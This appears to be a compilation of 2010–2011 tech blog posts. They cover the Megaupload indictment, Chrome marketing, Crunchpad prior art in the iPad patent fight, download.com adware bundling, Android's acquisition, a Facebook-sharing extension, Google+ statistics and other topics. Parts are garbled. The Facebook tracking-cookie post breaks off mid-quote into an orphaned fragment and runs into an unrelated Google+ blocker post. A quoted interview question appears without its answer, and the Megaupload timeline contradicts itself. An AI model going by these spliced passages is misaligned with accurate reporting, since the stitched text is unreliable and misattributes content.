It amazes me that this company hosted its emails in plain text on a US-based server. The irony is that there are a number of internal Megaupload email threads discussing what they should do to better shield themselves from the US government. These conversations all take place on a server hosted in the USA. The bulk of the DOJ case will be built on the email archive – and hosting their own email server in the USA may become the major cause that resulted in their downfall.
The PayPal records, including all the payment information and emails between Megaupload and PayPal, would have been attainable with a simple subpoena. The same applies for Moneybookers. Subpoenas are remarkably easy to get – and most of the larger web companies do not fight the requests. Very little probable cause is required for the government to obtain these records (to obtain the records without the subject being notified requires an additional court order).
All of the other evidence is based on public records such as WHOIS records, blog posts, download links, etc.
To establish a timeline, the New Zealand media reported that the FBI first got in touch with law enforcement officials in that country regarding Megaupload 'around a year ago'. This shows that the investigation had little to do with the recent high-profile release of a [supporters video](https://torrentfreak.com/riaa-label-artists-a-list-stars-endorse-megaupload-in-new-song-111209/) and music clip along with the associated lawsuits.
It is thus likely that this investigation began in 2010, at the latest. The emails in the indictment date until November 2011, so the search warrant must have been carried out late last year. The indictment was filed on the 5th of January this year and only unsealed yesterday. The grand jury must have taken place late last year (in 2010).
The internal emails are often incriminating. I don't buy the argument that a DMCA takedown request requires you to remove every copy of the same file, since the each request requires a legal notice that the particular user who uploaded the file does not have explicit permission to host that file. What is a worry for MegaUpload is the internal emails between staff discussing piracy, where to find pirated material, rewarding uploaders with cash payments for uploading pirated material and helping out users to find pirated material in support emails (one support email asks 'I only bought a Megaupload account to watch (the name of some show)' and the staff responded with a link to a download).
Also incriminating is the money laundering evidence. In the year 2011 alone, Megaupload spent $7.8M on renting yachts in the Mediterranean for 'marketing purposes'. There were also numerous million-dollar or greater bank transfers between a large number of what look like shell companies.
For the sake of the Internet, I hope Kimble and Megaupload refuse any plea deal and take this all the way to court. They may be guilty on racketeering and money laundering, but we need those finer aspects of DMCA and safe harbor to be tested in a US court. I would also like to find out what probably cause was used to issue a search warrant for the email server and its contents – since that is where almost all of the evidence in this case originated from and there is very little evidence in the injunction outside of the contents of those emails.
---
# The Google Firefox search deal, Chrome and Lady GaGa
*2011-12-25*
In a response to [MG Siegler's post](https://parislemon.com/post/14695710791/pay-to-stay) about the Google and Firefox deal, Chrome engineer Peter Kasting [posted to Google+](https://plus.google.com/114128403856330399812/posts/9dKsD7Mi7JU):
> People never seem to understand why Google builds Chrome no matter how many times I try to pound it into their heads. It's very simple: the primary goal of Chrome is to make the web advance as much and as quickly as possible. That's it. It's completely irrelevant to this goal whether Chrome actually gains tons of users or whether instead the web advances because the other browser vendors step up their game and produce far better browsers. Either way the web gets better. Job done. The end.
I believe the first part about wanting to advance the web. Google's foray into browsers began with the Gears project, an extension to existing browsers that implemented new HTML5 (then Web Applications 1.0) technologies such as localStorage. Browser development was stagnant at the time and since Google is a web company they needed browsers to push forward in order to compete with the desktop and enterprise software industries with solutions such as Apps for Business.
This effort led to Chrome, a new (and in my opinion, the best) browser which has now overtaken Firefox and attained a 25% market share globally.
But to say that attaining users for Chrome is a nice side-effect of doing good for web technology is a stretch. Google was previously known as a 'no marketing' or 'anti marketing' company where the product speaks for itself, but this year it increased marketing and advertising spend to $4.9 Billion dollars, [up 69%](https://searchengineland.com/where-is-google-investing-its-marketing-spend-internationally-75226) over last year.
A lot of mainstream technology users now know what Chrome is because of this marketing effort. Building a good browser that is better than the rest will win you a lot of developers as converts, and some early adopters, but that is worth probably around 10% of the market. The remaining 15% was bought with a large-scale traditional marketing campaign that involved no less than [Lady GaGa appearing](https://www.youtube.com/watch?v=sDPJ-o1leAw) in a Chrome ad and an advertisement during the SuperBowl (see more [here on where Google is spending that budget](https://www.physorg.com/news/2011-12-google-ramps.html).
For some reason Google (or some Chrome developers, at least) want their effort to appear purely altruistic, while the marketing arm of the company is investing billions in attracting users to their platform. There is nothing wrong with this – Chrome is the best browser and spending to convert users to it is a huge favor to web application developers as well.
As for MG's [other post today](https://techcrunch.com/2011/12/24/safari-and-chrome/) over at Techcrunch asking why Chrome took off where Safari didn't, I can think of a few reasons:
- Google rewrote a new Javascript JIT compiler, V8, from scratch. The performance improvement was significant and it raised the bar for Javascript performance (that engine is also used by the node.js project)
- The Javascript engine and the Webkit rendering engine combined provide the fastest browsing experience on most platforms (this is my anecdotal experience – I haven't benchmarked it)
- Apple don't really promote and market Safari as much as Google promotes Chrome, and Safari on Windows is terrible.
- There is a thriving extension ecosystem and developer community around Chrome. Developing extensions for Chrome is a breeze and a dream. The Web Store is also easy to use and navigate.
- The Omnibar. Seriously, how did we use browsers before this thing. Whenever I am in Safari or another browser I can't break out of the habit of entering search terms or keywords into the address bar and hitting enter.
The Firefox deal is paying Mozilla what the traffic is worth. What Google is paying for in the deal is the percentage of Firefox users who would otherwise not use Google as their browser were it not the default. This would likely be 30% of users of the 25% total Firefox share – so roughly 7.5% of all web browser users. $300M is cheap when you consider the billions invested by Microsoft in Bing marketing to attain a 10-15% market share.
---
# The Crunchpad is proof of obviousness in the iPad design
*2011-12-09*
The patent case between Apple and Samsung regarding the iPad and Galaxytab has been an ongoing issue. Apple won an injunction against the sale of the Galaxy Tab in Australia, then saw the decision reversed, only for it to be re-applied by a higher court. A number of outlets [reported on](https://www.theverge.com/2011/12/2/2596527/apple-samsung-design-patent-iphone-ipad-work-around) the advice [Apple has given Samsung](https://assets.sbnation.com/assets/807407/Apple_Reply_Expert_declaration.pdf) in order to avoid its design patents.
The advice takes the form of expert testimony from Peter W. Bressler, an industrial designer hired by Apple as a consultant on the case. His testimony is a rebuttal against the obviousness argument filed by another expert on behalf of Samsung. The Samsung expert, Mr Sherman, is attempting to argue that an _ordinary observer_ would come up with the Apple design as a natural evolution of tablet computing. Mr Bressler, for Apple, disagrees.
The fight gets a bit dirty, with the Apple expert claiming that the Samsung expert isn't really an expert (because he didn't go to an industrial design school, apparently), but even if he were an expert, it wouldn't matter, because his argument is wrong anyway – and that he, Mr Bressler, is the one true expert, and he doesn't believe the Apple design is obvious. In page upon page of testimony Bressler argues why the Apple design is so unique, but in the end it comes down to things like rounded corners and centering the touch screen. Some highlights from [the testimony](https://assets.sbnation.com/assets/807407/Apple_Reply_Expert_declaration.pdf) (edited for brevity) (see [online version](https://docs.justia.com/cases/federal/district-courts/california/candce/5:2011cv01846/239768/279/)):
> Based on my understanding of the appropriate test of obviousness and my review of Mr. Sherman’s declaration, Mr. Sherman obviousness analysis is not correct. [..]
The testimony then goes into detail about what Mr Bressler considers so special about the design of the iPad, and how a competing design could avoid conflicting with the Apple patents. These summary points were covered in the news media this week and were brilliantly torn apart in [this post](https://www.baekdal.com/opinion/apple-never-designed-the-ipad-they-undesigned-it/) by Thomas Baekdal. They are, in summary:
- Not a minimalist design (from sec 4.)
- Square corners rather than round corners (sec 79)
- Front surface that isn't flat (sec 79)
- Thick frames around the front surface (sec 79).
- Profiles that aren't thin.
- A front surface with decorations (sec 79)
- Cluttered appearance.
Samsung argues that the design is obvious and there is really no way around it (that is just part of it, this case is complicated and IANAL, but this part is easy to understand – that both the iPad and the Galaxytabs are natural evolutions of tablet computing).
I find this interesting because I was involved in the [Crunchpad](https://en.wikipedia.org/wiki/Crunchpad) project while at Techcrunch. It was an attempt to build a cheap tablet computer and we started the project a full two years before the iPad was announced. Apple is attempting to patent protect features of a design that we had published years before the iPad was announced. Our own designs were inspired by previous tablet designs, and minimalism in a tablet wasn't first seen with Apple and the iPad.
We had no idea about the iPad, nor the patents, and I would consider us to be _ordinary observers_, and the design we came up with is exactly like what iPad became, including the points discussed above.
So I share the same opinion as Samsung – a design for a modern tablet is obvious and an evolution of previous design. There was a lot of prior art when we began the Crunchpad project, and having a tablet that was touch controlled rather than with a stylus wasn't really a revolutionary idea since there were a number of component manufacturers at the time who were scaling up their touch controllers to larger dimensions (9″, 11″, 12″ etc.) in preparation for this market.
When we described the idea we had for the Crunchpad to potential partners, ODM's, component suppliers, etc. everybody just **got it**, you didn't even need to sketch it. Fact is that most knew that this market was about to explode since the components were becoming cheap enough (specifically screens and touch controllers) and mobile processors powerful enough to the point where a tablet could market for $500 – the right price point for mass consumer adoption.
In touring with various component manufacturers and ODM's in 2008 and 2009 it was apparent that everything required for a cheap tablet was ready and waiting, it just needed somebody to bring it all together and take it to market.
Here is a summary of our prior art from working on a cheap and portable tablet long before Apple announced the iPad. Almost all of the design aspects that Apple lay claim to in the case against Samsung had already been incorporated into the Crunchpad and other prototypes we had seen at the time.
**I believe that the Crunchpad is evidence that the Samsung argument is valid, that an independent observer would come up with what looks like the iPad as a natural evolution of tablet computing**
As a reminder, the iPad was announced on the 27th of January 2010. Our timeline begins eighteen months prior to that.
## First Announcement – 21st of July 2008
The [first post](https://techcrunch.com/2008/07/21/we-want-a-dead-simple-web-tablet-help-us-build-it/) about the Crunchpad went up including this prototype design, featuring a rectangle shape, rounded corners, a flat back, an LCD screen with a consistant margin around the outside and a touchscreen controller.
## Prototype A – August 2008
I built this prototype including a basic software stack, in 2008 shortly after the first announcement. A touch screen centered in a rectangle package with a flat back and a screen that was flush with the casing.
_[Image no longer available - TechCrunch prototype photo from 2008]_
## Prototype B – mid-2009
Design drawings of a pre-manufacture prototype.
_[Image unavailable - Skitch service discontinued]_
## Prototype C – mid-late 2009
We had two prototype designs manufactured. We had the orange model shown below, a white model and a black model. Again the points that Apple consider unique to the iPad were incorporated into this design:
_[Image unavailable - Skitch service discontinued]_
_[Image unavailable - Skitch service discontinued]_
_[Image unavailable - Skitch service discontinued]_
_[Image unavailable - Skitch service discontinued]_
## The Joojoo
The Crunchpad went on to launch as The JooJoo (long story).
_[Image unavailable - Skitch service discontinued]_
## Four months later, Jan 2010
_[Image unavailable - Skitch service discontinued]_
---
# The Download Dot-Con
*2011-12-08*
Fake software downloads are a huge problem on the web. A few weeks ago a non-technical friend called me and asked how to play some Xvid encoded movies he had downloaded. I told him that the best and easiest software to use is VLC Player. He asked if I could send him a copy or a link, and I said “it's ok, just Google for 'VLC download' and you will find it”. Big mistake.
A few days later he was having computer problems. There was a new toolbar in his browser, popups were constantly appearing, his search engine had been switched and the computer was running slow. I went over and removed all the crap that had been installed, ran a spyware scanner and then told him to generally be wary of approving permission requests from applications on the Internet. He then told me that this was _my fault_, because it was 'that stupid VLC program' that had installed the toolbar, the new search engine and the spyware.
VLC? Spyware? Excuse me? Turns out that the top search results for 'VLC download' are littered with fake download sites that take the VLC installer, bundle toolbars and search engines with them, and then make them available to unsuspecting web users. The webmasters are paid affiliate fees for each install.
Over the [past few days](http://insecure.org/news/download-com-fiasco.html) one of the major download mirror sites, CNet's download.com, was in the news. It turns out that they too were taking open source software, bundling toolbars and other software with the installer, and then promoting the downloads as legitimate software – trading on the name of reputable and trusted software such as the Nmap security scanner and the VLC Media Player.
After Nmap author fyodor bought the fake download.com downloads [to public attention](https://seclists.org/nmap-hackers/2011/5), CNet today [issued a statement](https://download.cnet.com/8301-2007_4-57338809-12/a-note-from-sean-regarding-the-download.com-installer/) claiming that bundling useless tools into the installers of open source software was never their policy, and this was all a mistake.
A mistake made with almost every major and popular open source package on the site
As the comments on that thread point out, the bundling will still present on popular open source downloads such as Filezilla and Putty even after the post from CNet was published. The mistake was only that open source applications were included in this bundling racket, non open source applications continue to be bundled with adware.
Other fake download sites that bundle similar toolbars are immediately marked as malware sites and forever regulated to the trash heap of the web. I do not see Download.com as being any different to the thousands of other sites out there that trade on the good name of popular software in order to profit through bundled adware. Download.com shouldn't be given a waiver because they are a large corporation – in this case the business model and the motive is no different to the download scam websites.
From [Download.com Adware and Spyware Notice](https://www.cnet.com/2723-13403_1-461-16.html):
> When it comes to fighting unwanted adware and spyware, CNET Download.com has always been in your corner. During the past few years, we've brought you the best tools and tips in our Spyware Center, and we've maintained strict policies surrounding adware found in our download library. But in the first quarter of 2005, we launched a zero-tolerance policy toward all bundled adware.
[..]
> Although you may come across software from other sites on the Internet that contain adware or spyware, you can feel safe knowing that Download.com has tested software products included in our CNET Download.com listings.
and..
> That means every time you download software from Download.com, you can trust that we've tested it and found it to be adware-free.
This policy was implemented in 2005. It was in response to an uproar at the time about Download.com and bundled adware in downloads. What it meant was that developers couldn't bundle _their own_ adware into their software products. A short time later Download.com launched their download manager. When you click to download a file, instead of getting the original installed, it would download a small Download.com client which would subsequently install the actual product you wanted – but only after a few nag screens prompting you to [install toolbars and other adware](https://www.ghacks.net/2011/08/17/the-cnet-download-com-installer/) (as that post mentions, users who are used to clicking _Next, next, next_ would install it all by default).
Download.com put an anti-adware policy in place, but that was just clearing the path for their own bundled adware and spyware (I consider most toolbars as spyware, since they record every site you visit).
Open source applications being bundled was just an “oops” mistake, but it still continues with other popular software packages (such as the [DivX player](https://download.cnet.com/DivX-Plus-Software/3000-13632_4-10062728.html) I just downloaded and installed).
To be clear: the bundled software is completely useless to most users, is an invasion of user privacy and if thoroughly explained and properly labelled most users would opt-out. The business almost entirely relies on tricking users into installing the bundled software.
There is only one solution to this, and it is that Download.com can not be trusted as a mirror for popular software. It is no different to the fake download sites that trick users into installing toolbars and adware – and like those other sites, Download.com should be blocked and reported as a badware site, at least until they revert to providing a clean mirror of software packages.
I have blocked `download.com` and `download.cnet.com` in my DNS server, and have also reported download.com [to Google as an unsafe badware site](https://www.google.com/safebrowsing/report_badware/), and I suggest you do the same. It shouldn't take too many reports until either Google investigate or Download.com opt to completely clean up.
**Note:** you can access clean installs from download.com if you signup for an account on the site. But who the hell does that.
---
# Google Android - The Accidental Empire
*2011-12-07*
What Google has done with Android is amazing. The mobile operating system is now [44% of the smartphone market](https://searchengineland.com/comscore-android-nears-50-us-smartphone-market-share-95768) and its rise, along with iOS, has contributed to the utter destruction of both [RIM](https://www.mondaynote.com/2011/12/05/behind-rim%E2%80%99s-485m-write-off/) (peak market cap of almost $80B, down to $8B today) and [Nokia](https://blogs.wsj.com/tech-europe/2011/02/09/full-text-nokia-ceo-stephen-elops-burning-platform-memo/) (peak market cap of $158B, down to $19.5B today).
I spent some time the other day standing in a cell phone store running the support gauntlet with my provider. While waiting on a staff member to help me, I was browsing all the latest phones and noticed something remarkable: every single phone in the main display area was an Android device. New devices from HTC, Motorola, Samsung, etc. indistinguishable from each other in many ways, but all running the Google mobile operating system.
Apple had a full two-year head start over Android. The iPhone was an absolute success and iOS now makes up for a majority of Apple revenue. Yet Android has overtaken it in market share and is growing faster in taking what is left of the Blackberry and Symbian share. It was only when Google announced last year that over [200,000](https://tech.fortune.cnn.com/2010/08/04/google-passes-the-200000-android-activationsday-mark/) new Android devices were being activated each day that most took notice of what Android was becoming: a dominant mobile platform, a Microsoft-beater, and an Empire.
Android almost didn't happen. All of it. From Google releasing a their own device, through to Microsoft being crushed and Google now holding a near-majority of the ultra-competitive smartphone market. This is because Google's purchase of Android was carried out on a whim. The two co-founders went around Eric Schmidt, then CEO, and purchased the small Palo Alto-based startup for a around $50 Million – Schmidt knew nothing about it at the time.
I had heard this story some time ago, but it came back to me as I was standing in the store and seeing first hand the dominance of Android. I found out about what happen with the Android acquisition during an otherwise routine press briefing in October of 2009. Eric Schmidt and Sergey Brin held an open press event in New York. Most of the event revolved around the controversies Google were involved in at the time: Google Books, antitrust investigations, Android lagging behind iPhone.
In answering a question about mobile and enterprise strategy, and potential acquisition targets, Schmidt revealed that he was not involved in the Android acquisition. He said that he didn't even know that Larry and Sergey had purchased the company. There is a transcript of the briefing [at Techcrunch](https://techcrunch.com/2009/10/07/a-conversation-with-sergey-brin/), the relevant part is:
> **Question:** What are the most attractive areas for acquisitions?
Nobody in a room full of journalists seemed to recognize the significance of this statement at the time. They moved onto the next question, and none of the summaries or stories about the press event that day in New York made mention of what Schmidt said about Android, or indeed the implications of the decision making process.
This says a lot about how Google work. Keyhole Software, which went on to become Google Earth, was also acquired in a similar manner. By being flexible and daring, Google has established itself as a leader in one of the fastest growing technology markets in the world. They beat out established industry leaders by taking a chance.
I find the story of how Android was acquired to be an interesting piece of technology folklore – like how Bill Gates sold DOS to IBM without actually having an operating system, or how Steve Jobs visited Xerox PARC and was inspired to create the Macintosh. You can now add the story of how a leading smartphone platform was acquired for comparatively little money, established Google in a new and important market, and how it created an empire almost accidentally.
---
# Introducing Frictionless - Taking the friction out of Facebook social-sharing applications
*2011-12-04*
Today we are launching [Frictionless](https://chrome.google.com/webstore/detail/ajingfifiphifhhjfmfcpklnphcijocg), a browser extension (chrome only at the moment) that rewrites the default features of Facebook social-sharing and provides users with privacy and the ability to read the original source websites for shared articles.
If you are a Facebook user, you have probably seen the new social-news sharing applications such as the Washington Post Social Reader, The Guardian application and the WSJ app. They are the apps that send out notifications to your Facebook stream when you read an article, and also filter up popular read articles from your friends into your newsfeed.
The problem with these applications is that they share almost every user action by default. Further, most of these applications require the user to authorize the application (which means it can read all of your profile data) in order to read a story. Since the launch of the new Open Graph API and these social applications, there has also been much criticism in the media and [amongst bloggers](https://news.cnet.com/8301-31322_3-57324406-256/how-facebook-is-ruining-sharing/). You have probably come across a story in your timeline and clicked on it only to be confronted by a dialog box that looks like this:
_[Image unavailable - Skitch service discontinued]_
There is no consistant behavior across the applications. Some of them require an install, some of them allow you to hit cancel and still read the article, some of them load an alternate version of the article within Facebook, while others open the original website.
Facebook refer to this as 'frictionless sharing', but from my own user experience (and the experience of others), this method of sharing stories is anything but _frictionless_. In fact, it is downright confusing.
Our plugin is very simple. Once installed, it will rewrite all of the social sharing links within Facebook to point directly to the source website. Click on a link from the newsfeed or from the social stream (or whatever its called) and you will be taken straight to the original website. No more dialog boxes, no more automatic posts about what you are reading, and no more handing over your entire user profile and Facebook identity to a media company in exchange for reading a story.
You can install the plugin by visiting the [Chrome Web Store](https://chrome.google.com/webstore/detail/ajingfifiphifhhjfmfcpklnphcijocg). The source code is available on our project page [at GitHub](https://github.com/byoogle/frictionless/). Safari and Firefox versions will be available shortly (we welcome any effort to fork, port and pull – because honestly, we haven't started either of those). Operating it is easy – just install and forget about it – there are no options, anything to customize or any buttons to press.
This is also just a first release that solves the reading portion of Facebook sharing. In the next release, we will be including a way to share stories you have read (opt-in) from any website into the Facebook social stream.
This plugin was conceived on Facebook a couple of days ago and was written by [Brian Kennish](https://twitter.com/byoogle) of [Disconnect](https://disconnect.me/) and myself. Feedback and bugs can be [filed at GitHub](https://github.com/byoogle/frictionless/issues), by emailing either of us or finding us [on Twitter](https://www.twitter.com/nikcub). Hope you enjoy the extension.
---
# Lies, Damn Lies and Google+ Statistics
*2011-10-11*
One of the [big stories](https://www.techmeme.com/111010/p53#a111010p53) making the rounds in the tech world today is that traffic at Google+ has 'plummeted' a full 60% this week over last week. All of these reports cite a graph from advertising company [Chitika](https://chitika.com) (who conveniently become a 'web analytics firm' in the Daily Mail story).
There are a few problems with these reports. First, the Chitika graph measures a 'traffic index'. There is no published methodology on how this index is measured or what it is measuring. Chitika are an advertising network, but they do not advertise on Google+. There isn't even a hint of what the 'traffic index' is or how it is measured. This has not stopped blogs and news outlets from reporting the graph as measuring pageviews.
Second, Google+ launched to the public last week. It was linked to from the homepage of Google.com – the most trafficked page on the entire world-wide web. You would expect a traffic 'bump' associated with the launch of Google+ and the associated traffic being referred to it from the Google homepage.
What these reports are based on is both an unknown black-box measurement – the Chitika 'traffic index' dropped from 119 to 45 – whatever that means, and is measuring the back-end of a launch bump. Show me a single product that has launched that has ever risen out of a traffic bump, especially one coming out of a launch on the Google home page, no less.
I [left a comment](https://www.readwriteweb.com/archives/google_plus_traffic_drops_1269_gains_erased.php#comment-331303447) on the [ReadWriteWeb post about this story](https://www.readwriteweb.com/archives/google_plus_traffic_drops_1269_gains_erased.php#comment-331305489) calling bullshit on both the graph and the story. When I asked the writer of the story in the comments what the methodology of the Chikita reporting is, his [response was](https://www.readwriteweb.com/archives/google_plus_traffic_drops_1269_gains_erased.php#comment-331310620):
> You're right. Chitika hasn't yet responded to our request for more information, and when we get it, we'll update.
A suggestion: do that _before_ a post is published citing the Chitika source as an authoritative measure of pageviews and visitors to Google+
The [blog post at Forbes](https://www.forbes.com/sites/timworstall/2011/10/09/google-plus-traffic-down-60/) saw straight through this and more accurately concluded:
> what the report is actually saying is that in less than a month traffic has risen 480%, or 4.8 times.
The story with a 'traffic drops 60%' headline is being picked up absolutely everywhere – the blogs (who should know better) started out and now it is being picked up by mainstream outlets everywhere.
**Update:** The original Chikita source is from [this blog post](https://insights.chitika.com/2011/failure-to-launch-google-growth-spurt-short-lived/) on their company blog. Same crappy statistics, but they go further with unfounded conclusions on why Google+ didn't 'take off'.
---
# Unicode U+F8FF - aka. The Apple Logo Character, on Macs
*2011-10-08*
With the death of Steve Jobs this week many users on Twitter added the Apple logo to their names or to their tweets in tribute. Some bloggers also used the character in blog posts, which can be input by pressing option + shift + k. The logo is a Unicode character, at address [U+F8FF](https://en.wikipedia.org/wiki/U%2BF8FF). The problem: that character is a reserved character and only appears as the Apple logo on a Mac or iOS device.
[Mike Arrington at](https://twitter.com/arrington) [Uncrunched](https://uncrunched.com/) changed the title of [his blog in tribute to Jobs](https://uncrunched.com/2011/10/05/goodbye-steve/) to just the Apple logo character. It looks great on a Mac:
_[Image unavailable - Skitch service discontinued]_
On Windows XP with IE, not so great:
_[Image unavailable - Skitch service discontinued]_
Could be mistaken for a tombstone, or a coffin. Those users must be wondering what the hell is going on. Firefox users on Windows would also be confused:
_[Image unavailable - Skitch service discontinued]_
Same for Opera users on Windows:
_[Image unavailable - Skitch service discontinued]_
That icon with letters in it says 'F8FF' – which is the code for the character. It is sometimes substituted in when there is no character allocated in the codepage
Here are all the different icons that could appear, depending on the computer and font you are seeing it with:
- A euro symbol (the Luxi font)
- Elvish character
- The Tibetan symbol for 'hwo'
- In a Dingbats font, it shows up as a smiling face
- And most embarrassing, in Wingdings 1 it appears as a Windows logo.
So if for some reason you browse the web in Windows, with IE, with Wingdings set as your font (and who doesn't) the Uncrunched tribute page would be flying a Windows logo.
The lesson here, I don't know, it is that Unicode is far from being Universal – especially in the portions of the code page that are designated for private use.
---
# Facebook Re-Enables Controversial Tracking Cookie
*2011-10-03*
In May of this year the [Wall Street Journal reported](https://online.wsj.com/article/SB10001424052748704281504576329441432995616.html) that Facebook like buttons and other website widgets were setting cookies on visiting browsers. This cookie could then be read later and used to track the user across different web properties and back to the Facebook site. The cookie was being set even if the user had never been to the Facebook site, and even if they didn't click a 'like' or 'share' button.
> less common and should be cleared upon logout (it is set on some photo
> upload pages). There is a bug where a_user was not cleared on logout. We will
> be fixing that today. The other 'a' cookie, `a_xs`, is now also deleted on logout. `a_xs` is used to prevent cross-site request forgery. ## The Other Cookies This leaves a number of other cookies, and I will be explaining the purpose of each one as per information from Facebook. The `datr` cookie is set when a browser first visits facebook.com. The purpose of it, as per Facebook, is: > We set the ‘datr’ cookie when a web browser accesses facebook.com (except social plugin iframes), and the cookie helps us identify suspicious login activity and keep users safe. For instance, we use it to flag questionable activity like failed login attempts and attempts to create multiple spam accounts. The `lu` cookie is also set the first time a browser visits facebook.com and is used to
Google recently launched their much-publicized social network [Google+](https://plus.google.com). I [signed up](https://plus.google.com/105854725972317368943) early on, but found that having the new status bar across the top of all the other Google applications was becoming a distraction.
Earlier today I went into Gmail to send a simple email, and the Google+ notifier caught my attention. I clicked on it and ended up spending 30 minutes browsing through various posts, adding people, etc. Then I noticed [a tweet from Sacca](https://twitter.com/#!/sacca/status/88653313096163329) saying the same thing, that he was being distracted by the notifier.
It prompted me to write a quick browser plugin (Chrome only at the moment) to block all references to Google+ from the global Google nav. It is called [BlockPlus](https://bitbucket.org/nik/blockplus) and you can install it right now by [clicking here](http://nikcub.appspot.com/static/blockplus-2.crx).
BlockPlus will remove any links to Google+ in the global nav, including the profile link, circles, etc. It will also remove the notifier. It blocks the requests, and also hides those elements from view – so you are not only hiding it but saving on 6-7 HTTP requests that normally take place each time you hit the global nav.
The project is hosted on my BitBucket, so you can download, fork and view the source. If you find any issues or have any feedback, please [submit a ticket](https://bitbucket.org/nik/blockplus/issues).
## Screenshot
---
# Numeronym
*2011-04-07*
i18n is a popular abbreviation for 'Internationalization'. It is abbreviated by taking the first and last letters and replacing all the characters in the middle with the number of characters replaced. l10n is the abbreviation for localization. I am not sure if a lot of developers who are familiar with the terms understand the origins, but apparently this style of abbreviation is referred to as a [Numeronym.](https://en.wikipedia.org/wiki/Numeronym)
There is some history about them on Wikipedia. Numeronym's also include words such as 'K9', where the number is pronounced as part of the word.
They have become more popular recently in the startup community and in blogs because the venture capital firm Andressen Horowitz has their internet home at the domain [a16z.com](https://www.a16z.com).
Numeronym's are easy to parse in Python, and there are a dozen ways to do it. I had added a `numeronym(word)` method to my utils library, for what reason, I do not know.
I am now 'nik c8c'.
---
# Pain and Gain
*2010-12-21*
I can't remember how I found this story, but it is amazing. The incidents covered occurred during the early to mid 90s, and the Miami New Times article was published in 1999. The story is about the manager, some employees and members of a body building and gym club in Miami who move into violent crime to make some extra money.
The team are ruthless but amateur criminals, and the story has many dark comedic moments. I was thinking while reading the story that it would make an amazing film, or full-length book – and it turns out that [Michael Bay](https://en.wikipedia.org/wiki/Michael_Bay#Current_projects) (of Transformers and Explosions fame) bought the rights to the story years ago, and plans on adapting it into a movie.
I am not sure if he is the right director for this project, it is probably better suited to the Cohen brothers, or Tarrantino, but if he adapts it to a film and keeps it true to the real story, while making it a dark and surreal comedy, it should be a great film.
> They were local bodybuilders with a penchant for steroids, strippers, and quick cash. And they became expert in the use of a peculiar motivational tool: Torture
The story is very long but well worth the read. It is a lot stranger than fiction, and there isn't a lot of coverage of the story or the future fate of many of the main characters online. Divided into three parts, I have linked to the printer friendly version:
- [Pain & Gain Part 1](https://www.miaminewtimes.com/content/printVersion/240700/)
- [Pain & Gain Part 2](https://www.miaminewtimes.com/content/printVersion/240723/)
- [Pain & Gain Part 3](https://www.miaminewtimes.com/content/printVersion/240747/)
---
# Finding a Technical Co-Founder
*2010-11-05*
My own anecdotal evidence indicates that the number of tech startups being founded is on the rise again. YCombinator received a record number of applicants in the most recent batch, and has extended the number of interview slots this year because of both the increased number of applicants and the quality of applicants. In the recent weeks, I have also had no less than three people email me and ask about finding a technical co-founder, which has also been [a very frequent topic](https://www.google.com/search?sourceid=chrome&ie=UTF-8&q=site:news.ycombinator.com+technical+AND+co-founder+OR+cofounder) on the Hacker News forums.
Rather than reply to people who ask me via emails, I figure I plug any advice that I have gathered together into a blog post.
## Hang out in tech entrepreneur rich communities
Perhaps the easiest way to find potential technical co-founders is to hang out in both online and offline communities where technical entrepreneurs gather. Engage in the community by asking and answering questions, and become known by filling in your profile information with a link to your own blog or website that outlines who you are and what you are working on. There is no need to be specific about your idea, you may just want to mention the industry you are working in.
There are many online tech communities, but here are just a few:
- [Hacker News](https://news.ycombinator.com) – Probably a must-engage site. Full of smart people willing to help and give advice, but many technical people there are either starting their own companies or working at startups.
- [Reddit](https://www.reddit.com) – Specifically the programming, business and startup sub-redits.
- [Slashdot](https://www.slashdot.org) – Not as vibrant as it once was, but still a large tech community
- [Stack Overflow](https://www.stackoverflow.com) – A Q&A site but one where you can get to know good technical people
- [Quora](https://www.quora.com) – Increasingly becoming a popular online hangout for tech people and entrepreneurs.
- [Webmasterworld](https://www.webmasterworld.com) – A popular forum for web developers.
- [SitePoint Forums](https://www.sitepoint.com/forums/) – A popular marketplace and forum for web developers.
- [Business of Software](https://discuss.joelonsoftware.com/?biz) – Joel Spolsky's forum which has been running for over a decade now. Full of smart people running their own startups and ISV's (independent software vendors).
- [Twitter](https://www.twitter.com) and blogs – Participate in discussions on Twitter and blogs. The main tech influencers are not hard to find (Twitter will suggest them to you) and most are friendly and engaging
- [IRC](https://www.freenode.net) – I booted my entire tech career through people I met on IRC. Freenode is the network most popular with developers today, especially with open source projects (channels such as #python, #rubyonrails, ##php etc. are full of smart tech people)
- Regional communities and Alumni orgs – Google search for regional message boards and forums and check your own alumni organizations. People often cite the groups and organizations they are members of on Facebook and LinkedIn.
Do not be afraid to ask questions, most people are generally friendly – but remember that communities are a two-way process of giving and receiving.
## Ask former co-workers
Get the word out that you are starting a company. Email and connect with former co-workers and let them know that you are working on starting a new company. This can often lead to introductions to suitable people, or into networks where you can find a technical co-founder.
## Ideas alone are not worth a lot
Simply having an idea and a promise of working on marketing is not enough to attract a capable technical co-founder. You will need to bring more to the potential relationship. Most co-founder relationships flounder when one co-founder believes that the other is not holding up his or her end of the bargain.
Instead of simply waiting for a technical co-founder to build a product (by which point they will likely become frustrated and strike out on their own), you can do a lot of other work in preparation for an early product launch or preview. This includes:
- **Researching the potential market** and assembling a lot of research material. [Evernote](https://evernote.com) or OneNote are both great applications you can use to collect clippings of research from online or offline sources about your potential market. You can also track online research using Google Docs. A potential technical co-founder will be more willing to work with you if they see that you are putting effort into understanding the market.
- **Talk to customers** – Work out who your ideal first 20 customers will be, and email them and ask them what their current pain points are. Collate this research and use the information to guide your product planning.
- **Competition Analysis** – Find out who your competitors are as part of your research. What do they do that sucks so much that you can do better? Is there a similar product that already exists that perhaps you can partner with? (ie. instead of doing a GroupOn clone in South Korea, how about contacting GroupOn and asking if you can franchise? (just an example))
- **Partnerships** – B2B business development work can commence before you have a product. Just be upfront to your potential partners about the state that the product is in at the moment (ie. it doesn't exist) and work with them to build something that they would partner with you on.
- **Spec the product** – Based on your research and feedback from potential customers, you should be putting together a product plan. This is separate to a wireframe or prototype and is a simple document with bullet points that outlines the core features for the next x releases of your product, and why they are in that order. It is the result of your market knowledge an research condensed into a product spec.
- **Wireframe** – Take the product plan and by researching what works and what doesn't with good products start to wireframe what the product will look like. Make sure you take into account your target market (ie. will they care about Facebook connect or connecting with Twitter? What countries or regions are they in? You should know this already)
